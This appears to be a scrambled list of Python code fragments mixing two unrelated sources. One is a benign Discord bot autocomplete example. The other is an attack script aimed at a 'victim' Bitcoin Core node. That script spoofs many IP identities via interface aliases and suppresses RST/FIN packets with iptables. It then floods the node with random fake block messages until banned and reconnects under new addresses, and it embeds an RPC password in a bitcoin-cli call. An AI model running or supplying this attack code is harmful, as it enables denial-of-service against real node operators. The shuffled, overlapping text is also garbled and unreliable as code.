"an animal!\", autocomplete=get_animals) async def autocomplete_example( ctx: discord.ApplicationContext, color: str,",
"BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list of colors",
"\"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\",",
"LOTS_OF_COLORS list. In this example, we've added logic to only",
"elif picked_color == \"orange\": return [\"clownfish\", \"tiger\"] elif picked_color ==",
"== \"green\": return [\"tree frog\", \"python\"] elif picked_color == \"blue\":",
"= [...] # This would normally be a list of",
"\"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\",",
"\"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\",",
"choose {animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a",
"animal!\", autocomplete=get_animals) async def autocomplete_example( ctx: discord.ApplicationContext, color: str, animal:",
"any results in the returned list if the user's ID",
"[\"clownfish\", \"tiger\"] elif picked_color == \"yellow\": return [\"goldfinch\", \"banana slug\"]",
"return [\"cardinal\", \"ladybug\"] elif picked_color == \"orange\": return [\"clownfish\", \"tiger\"]",
"a color from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing",
"\"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\",",
"color in COLORS if color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns",
"this example, we've added logic to only display any results",
"uses the input from the color option to return an",
"autocomplete_basic_example( ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\" This",
"def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list of animals that are",
"dependent on the values of other options. For the `color`",
"begin with the characters entered so far.\"\"\" return [color for",
"\"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\",",
"from the color option to return an iterable of animals",
"big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a callback to discord.utils.basic_autocomplete",
"\"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\",",
"[\"purple emperor butterfly\", \"orchid dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\",",
"the basic_autocomplete function itself will still only return a maximum",
"\"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\",",
"\"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\",",
"\"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\",",
"# This would normally be a list of discord user",
"\"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\",",
"additional logic can be added to determine which values are",
"{color} as your color, and {animal} as your animal!\") bot.run(\"TOKEN\")",
"a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals) async def",
"ctx.interaction.user.id in BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list",
"in BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list of",
"\"\"\" This demonstrates using the discord.utils.basic_autocomplete helper function. For the",
"user IDs for the purpose of this example async def",
"if picked_color == \"red\": return [\"cardinal\", \"ladybug\"] elif picked_color ==",
"# Needs to return an iterable even if only one",
"COLORS if color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list",
"to demonstrate passing a callback in the discord.utils.basic_autocomplete function. \"\"\"",
"that are dependent on the values of other options. For",
"values are returned. For the `animal` option, the callback uses",
"to discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick an animal from this",
"\"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\",",
"await ctx.respond(f\"You picked {color} as your color, and {animal} as",
"item elif picked_color == \"violet\": return [\"purple emperor butterfly\", \"orchid",
"color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a list of matching colors from",
"\"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\",",
"return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick",
"this example, iterables of any length can be passed to",
"): \"\"\" This demonstrates using the discord.utils.basic_autocomplete helper function. For",
"emperor butterfly\", \"orchid dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick",
"While a small amount of values for `animal` are used",
"): \"\"\" Demonstrates using ctx.options to create options that are",
"color, which allowed you to choose {animal} for the animal.\")",
"values for `animal` are used in this example, iterables of",
"\"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\",",
"LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\",",
"\"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\",",
"using ctx.options to create options that are dependent on the",
"\"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\",",
"determine which values are returned. For the `animal` option, the",
"discord.AutocompleteContext): \"\"\" Returns a list of matching colors from the",
"normally be a list of discord user IDs for the",
"\"color\", description=\"Pick a color from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), #",
"discord.AutocompleteContext): \"\"\"Returns a list of animals that are (mostly) the",
"picked_color == \"blue\": return [\"blue jay\", \"blue whale\"] elif picked_color",
"only one item elif picked_color == \"violet\": return [\"purple emperor",
"for the purpose of this example async def color_searcher(ctx: discord.AutocompleteContext):",
"\"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\",",
"== \"red\": return [\"cardinal\", \"ladybug\"] elif picked_color == \"orange\": return",
"bot = discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\",",
"in LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext):",
"discord.utils.basic_autocomplete helper function. For the `color` option, a callback is",
"purpose of this example async def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns",
"exists in the BASIC_ALLOWED list. This is to demonstrate passing",
"option bot = discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\", \"yellow\", \"green\",",
"color: str, animal: str, ): \"\"\" This demonstrates using the",
"basic_autocomplete function itself will still only return a maximum of",
"option.\"\"\" picked_color = ctx.options[\"color\"] if picked_color == \"red\": return [\"cardinal\",",
"can be passed to discord.utils.basic_autocomplete Note that the basic_autocomplete function",
"autocomplete=get_animals) async def autocomplete_example( ctx: discord.ApplicationContext, color: str, animal: str,",
"passing a callback in the discord.utils.basic_autocomplete function. \"\"\" return [color",
"a callback is passed, where additional logic can be added",
"snake\"] # Needs to return an iterable even if only",
"\"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS = [ \"aliceblue\",",
"picked {color} for the color, which allowed you to choose",
"import option bot = discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\", \"yellow\",",
"passed, where additional logic can be added to determine which",
"\"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\",",
"from discord.commands import option bot = discord.Bot(debug_guilds=[...]) COLORS = [\"red\",",
"description=\"Pick an animal!\", autocomplete=get_animals) async def autocomplete_example( ctx: discord.ApplicationContext, color:",
"\"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\",",
"passed. While a small amount of values for `animal` are",
"options that are dependent on the values of other options.",
"will still only return a maximum of 25 items. \"\"\"",
"input from the color option to return an iterable of",
"\"animal\", description=\"Pick an animal from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\",",
"\"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\",",
"str, ): \"\"\" This demonstrates using the discord.utils.basic_autocomplete helper function.",
"return an iterable of animals \"\"\" await ctx.respond(f\"You picked {color}",
"\"python\"] elif picked_color == \"blue\": return [\"blue jay\", \"blue whale\"]",
"user's ID exists in the BASIC_ALLOWED list. This is to",
"This would normally be a list of discord user IDs",
"# Demonstrates passing a static iterable discord.utils.basic_autocomplete ) async def",
"iterables of any length can be passed to discord.utils.basic_autocomplete Note",
"values of other options. For the `color` option, a callback",
"iterable discord.utils.basic_autocomplete ) async def autocomplete_basic_example( ctx: discord.ApplicationContext, color: str,",
"which values are returned. For the `animal` option, the callback",
"BASIC_ALLOWED = [...] # This would normally be a list",
"elif picked_color == \"green\": return [\"tree frog\", \"python\"] elif picked_color",
"\"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED = [...] # This would",
"await ctx.respond(f\"You picked {color} for the color, which allowed you",
"\"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\",",
"an iterable even if only one item elif picked_color ==",
"[\"cardinal\", \"ladybug\"] elif picked_color == \"orange\": return [\"clownfish\", \"tiger\"] elif",
"\"tiger\"] elif picked_color == \"yellow\": return [\"goldfinch\", \"banana slug\"] elif",
"the LOTS_OF_COLORS list. In this example, we've added logic to",
"[ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\",",
"one item elif picked_color == \"violet\": return [\"purple emperor butterfly\",",
"LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns",
"if the user's ID exists in the BASIC_ALLOWED list. This",
"picked_color == \"green\": return [\"tree frog\", \"python\"] elif picked_color ==",
"\"violet\": return [\"purple emperor butterfly\", \"orchid dottyback\"] else: return [\"rainbowfish\"]",
"of values for `animal` are used in this example, iterables",
"\"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\",",
"in the BASIC_ALLOWED list. This is to demonstrate passing a",
"= ctx.options[\"color\"] if picked_color == \"red\": return [\"cardinal\", \"ladybug\"] elif",
"even if only one item elif picked_color == \"violet\": return",
"color in LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED] async def get_colors(ctx:",
"picked {color} as your color, and {animal} as your animal!\")",
"added logic to only display any results in the returned",
"\"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\",",
"discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick an animal from this small",
"else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\",",
"\"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\",",
"the discord.utils.basic_autocomplete helper function. For the `color` option, a callback",
"[\"blue jay\", \"blue whale\"] elif picked_color == \"indigo\": return [\"eastern",
"\"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\",",
"a callback to discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick an animal",
"[\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an",
"is passed. While a small amount of values for `animal`",
"\"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\",",
"\"red\": return [\"cardinal\", \"ladybug\"] elif picked_color == \"orange\": return [\"clownfish\",",
"picked_color == \"orange\": return [\"clownfish\", \"tiger\"] elif picked_color == \"yellow\":",
"\"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\",",
"elif picked_color == \"violet\": return [\"purple emperor butterfly\", \"orchid dottyback\"]",
"in this example, iterables of any length can be passed",
"[\"goldfinch\", \"banana slug\"] elif picked_color == \"green\": return [\"tree frog\",",
"picked_color = ctx.options[\"color\"] if picked_color == \"red\": return [\"cardinal\", \"ladybug\"]",
"== \"violet\": return [\"purple emperor butterfly\", \"orchid dottyback\"] else: return",
"\"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\",",
"the `animal` option, the callback uses the input from the",
"= discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\",",
"\"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\",",
"option, the callback uses the input from the color option",
"the `color` option, a callback is passed, where additional logic",
"to determine which values are returned. For the `animal` option,",
"\"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\",",
"list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), # Demonstrates passing a static",
"of any length can be passed to discord.utils.basic_autocomplete Note that",
"with the characters entered so far.\"\"\" return [color for color",
"== \"yellow\": return [\"goldfinch\", \"banana slug\"] elif picked_color == \"green\":",
"description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals) async",
"results in the returned list if the user's ID exists",
"async def autocomplete_example( ctx: discord.ApplicationContext, color: str, animal: str, ):",
"the purpose of this example async def color_searcher(ctx: discord.AutocompleteContext): \"\"\"",
"\"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED =",
"frog\", \"python\"] elif picked_color == \"blue\": return [\"blue jay\", \"blue",
"the callback uses the input from the color option to"
] |
[
"to ({ip} : {port})') # Creates a fake connection to",
"print(f'Setting socket network interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,",
"atexit import bitcoin import fcntl import hashlib import json import",
"print('Error: Network interface couldn\\'t be found.') sys.exit() # Get the",
"-rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() # Generate a random identity",
"msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0,",
"verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if verbose: print('Setting up iptables",
"created by the script def cleanup_ipaliases(): for i in range(0,",
"verack = s.recv(1924) # Send verack packet verack = msg_verack(bitcoin_protocolversion)",
"global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015",
"all ip aliases that were created by the script def",
"first code to run if __name__ == '__main__': global alias_num",
"ip, port, interface): socket.close() terminal(f'sudo ifconfig {interface} {ip} down') if",
"verbose: print('Creating network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose:",
"i in range(1, num_identities + 1): try: make_fake_connection(src_ip = random_ip(),",
"os import random import re import socket import struct import",
"if ip == default_gateway: continue if ip == victim_ip: continue",
"for _ in range(4)) res += body return res #",
"= 8333 # How many identities should run simultaneously num_identities",
"thread to sniff interface {interface}') # Send version repeatedly, until",
"when the script is stopped def on_close(): print('Closing open sockets')",
"future packets if verbose: print('Attaching attacker script {interface}') try: start_new_thread(attack,",
"terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num",
"IP alias on interface {interface}') if verbose: print('Resulting ifconfig interface:')",
"to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while",
"+= body return res # Construct a version packet using",
"in [x[0] for x in identity_address]: break return ip #return",
"configurations') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags",
"tcp --tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT",
"{port})') # Creates a fake connection to the victim def",
") name = 'block' f = _BytesIO() msg.stream_serialize(f) body =",
"# Look like a normal node return msg # Close",
"OUTPUT -o {interface} -p tcp --tcp-flags ALL RST -j DROP')",
"= block_packet_bytes() while True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try:",
"cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that internet works...') #if not",
"msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port #",
"network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket",
"terminating when the sniff function is still active while 1:",
"--tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o",
"dst_port, 'interface': interface }) except: print('Error: unable to start thread",
"cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path)",
"Bitcoin Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332",
"') victim_port = 8333 # How many identities should run",
"--tcp-flags ALL RST -j DROP') if verbose: print('Creating network socket...')",
"alias interface and IP for each successful connection identity_address =",
"for i in range(0, len(identity_address)): try: ip = identity_address[i][0] interface",
"closed connection to ({ip} : {port})') # Creates a fake",
"connections for future packets if verbose: print('Attaching attacker script {interface}')",
"terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') # Create an alias for",
"this time using 'sudo'. Exiting.\\n\") # Specify the attacker's genuine",
"{ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num += 1 return",
"block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot =",
"packet verack = s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip, src_port))",
"what can change, so that packets still come back to",
"packets still come back to the sender m = re.search(r'broadcast",
"identity_interface = [] # Keeps the IP alias interface and",
"IP alias {ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig",
"'socket': s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port,",
"ifconfig {interface} {ip} down') except: pass # This function is",
"Construct a block packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock =",
"socket in identity_socket: identity_socket.remove(socket) else: del socket if interface in",
"old_ip = ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) #",
"alias {ip} on {interface}') terminal(f'sudo ifconfig {interface} {ip} down') except:",
"import socket import struct import sys import time import datetime",
"backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore the backup of the",
"- datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg =",
"bitcoin_subversion.encode() # Look like a normal node return msg #",
"import time import datetime if os.geteuid() != 0: sys.exit(\"\\nYou need",
"+ '\\n') if verbose: print('Setting up iptables configurations') terminal(f'sudo iptables",
"seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as e:",
"tcp --tcp-flags ALL FIN -j DROP') terminal(f'sudo iptables -I OUTPUT",
"except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return #",
"start_new_thread(attack, (), { 'socket': s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip':",
"root privileges to run this script.\\nPlease try again, this time",
"+ 1): try: make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip) except",
"{interface}') terminal(f'sudo ifconfig {interface} {ip} down') except: pass # This",
"in identity_address]: break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' #",
"def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}')",
"terminal(f'iptables-save > {iptables_file_path}') # Restore the backup of the iptable",
"= broadcast_address old_ip = '' while(old_ip != ip): old_ip =",
"packet version = version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get",
"= f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the Linux terminal def",
"-rpcport=8332 ' + cmd).read() # Generate a random identity using",
"iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove all ip",
"again, this time using 'sudo'. Exiting.\\n\") # Specify the attacker's",
"interface = identity_interface[i] print(f'Cleaning up IP alias {ip} on {interface}')",
"IP and port for each successful connection identity_socket = []",
"success == -1: print(f'Setting socket network interface to \"{network_interface}\"...') success",
"bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info = None",
"a lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1",
"name = 'block' f = _BytesIO() msg.stream_serialize(f) body = f.getvalue()",
"{iptables_file_path}') os.remove(iptables_file_path) # Remove all ip aliases that were created",
"The victim\\'s node must not be running.') print(f'Successful connections: {len(identity_address)}\\n')",
"# Checking the internet by sending a single ping to",
"try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion",
"assigned IPs if ip == default_gateway: continue if ip ==",
"Keeps the IP alias interface and IP for each successful",
"terminal(f'sudo ifconfig {interface} {ip} down') if socket in identity_socket: identity_socket.remove(socket)",
"= re.search(r'default +via +([^ ]+) +dev +([^ ]+)', terminal('ip route'))",
"if verbose: print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() +",
"res += b\"\\x00\" * (12 - len(name)) res += struct.pack(b\"<I\",",
"= src_port msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port # Default",
"src_port, dst_ip, dst_port, interface): block = block_packet_bytes() while True: if",
"pass # Save a backyp of the iptable rules def",
"else: print('Error: Network broadcast IP couldn\\'t be found.') sys.exit() #",
"checksum #h = hashlib.sha256(th).digest() #res += h[:4] res += bytearray(random.getrandbits(8)",
"route')) if m != None: default_gateway = m.group(1).strip() network_interface =",
"minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip = broadcast_address",
"dst_ip, 'dst_port': dst_port, 'interface': interface }) except: print('Error: unable to",
"if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) #",
"bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info =",
"hashlib.sha256(th).digest() #res += h[:4] res += bytearray(random.getrandbits(8) for _ in",
"({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port,",
"len(body)) #th = hashlib.sha256(body).digest() # add checksum #h = hashlib.sha256(th).digest()",
"print(network_interface) if verbose: print(f'Binding socket to ({src_ip} : {src_port})...') s.bind((src_ip,",
"= [] # Keeps the IP alias interface and IP",
"print('Connection was refused. The victim\\'s node must not be running.')",
"print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\\n') if",
"if verbose: print('Creating network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if",
"int(victim_ip.split('.')[-1])) + 1 while(True): ip = broadcast_address old_ip = ''",
"src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip =",
"# This function is ran when the script is stopped",
"dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip",
"the iptables backup is saved, then restored when the script",
"* from bitcoin.net import CAddress from bitcoin.core import CBlock from",
"= input('Enter victim\\'s IP address: ') victim_port = 8333 #",
"each successful connection # The file where the iptables backup",
"print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to the connections",
"({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize the network",
"== default_gateway: continue if ip == victim_ip: continue if ip",
"each successful connection identity_address = [] # Keeps the IP",
"m.group(2).strip() else: print('Error: Network interface couldn\\'t be found.') sys.exit() #",
"start_new_thread from bitcoin.messages import * from bitcoin.net import CAddress from",
"# terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') # Create an alias",
": {src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip} : {src_port})",
"{interface}') try: start_new_thread(attack, (), { 'socket': s, 'src_ip': src_ip, 'src_port':",
"continue if ip == victim_ip: continue if ip not in",
"using python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _ in",
"= random.randint(1024, 65535) dst_port = victim_port print(f'Creating fake identity ({src_ip}",
"f = _BytesIO() msg.stream_serialize(f) body = f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9'",
"if verbose: print(f'Setting socket network interface to \"{network_interface}\"...') success =",
"{attacker_ip} up') # Create an alias for a specified identity",
"bitcoin_protocolversion = 70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion'",
"Send version packet version = version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes())",
"{network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0",
"({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...') interface",
"Create an alias for a specified identity def ip_alias(ip_address): global",
"sys.exit(\"\\nYou need to have root privileges to run this script.\\nPlease",
"nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name = 'block' f =",
"-1: print(f'Setting socket network interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET,",
"dst_port, interface): block = block_packet_bytes() while True: if seconds_between_version_packets !=",
"not in [x[0] for x in identity_address]: break return ip",
"OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN -j DROP')",
"i in range(0, len(identity_address)): try: ip = identity_address[i][0] interface =",
"attacker\\'s IP address: ') # Specify the victim's IP, and",
"close_connection(socket, src_ip, src_port, interface) print(f'Peer was banned ({src_ip} : {src_port})')",
"if ip == victim_ip: continue if ip not in [x[0]",
"IP couldn\\'t be found.') sys.exit() # Initialize Bitcoin info def",
"Remove all ip aliases that were created by the script",
"IP alias {ip} on {interface}') terminal(f'sudo ifconfig {interface} {ip} down')",
"up, just in case if the computer shutdown without restoring",
"num_identities + 1): try: make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip)",
"broadcast address template def random_ip(): # By forcing the IP",
"network_info['protocolversion'] except: pass # Save a backyp of the iptable",
"the IP and port for each successful connection identity_socket =",
"node return msg # Close a connection def close_connection(socket, ip,",
"f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the internet by sending a",
"1 return interface # Construct a block packet using python-bitcoinlib",
"refused. The victim\\'s node must not be running.') print(f'Successful connections:",
"interface # Used as an IP template of what can",
"cleanup_iptables() # Restore any pre-existing iptables before backing up, just",
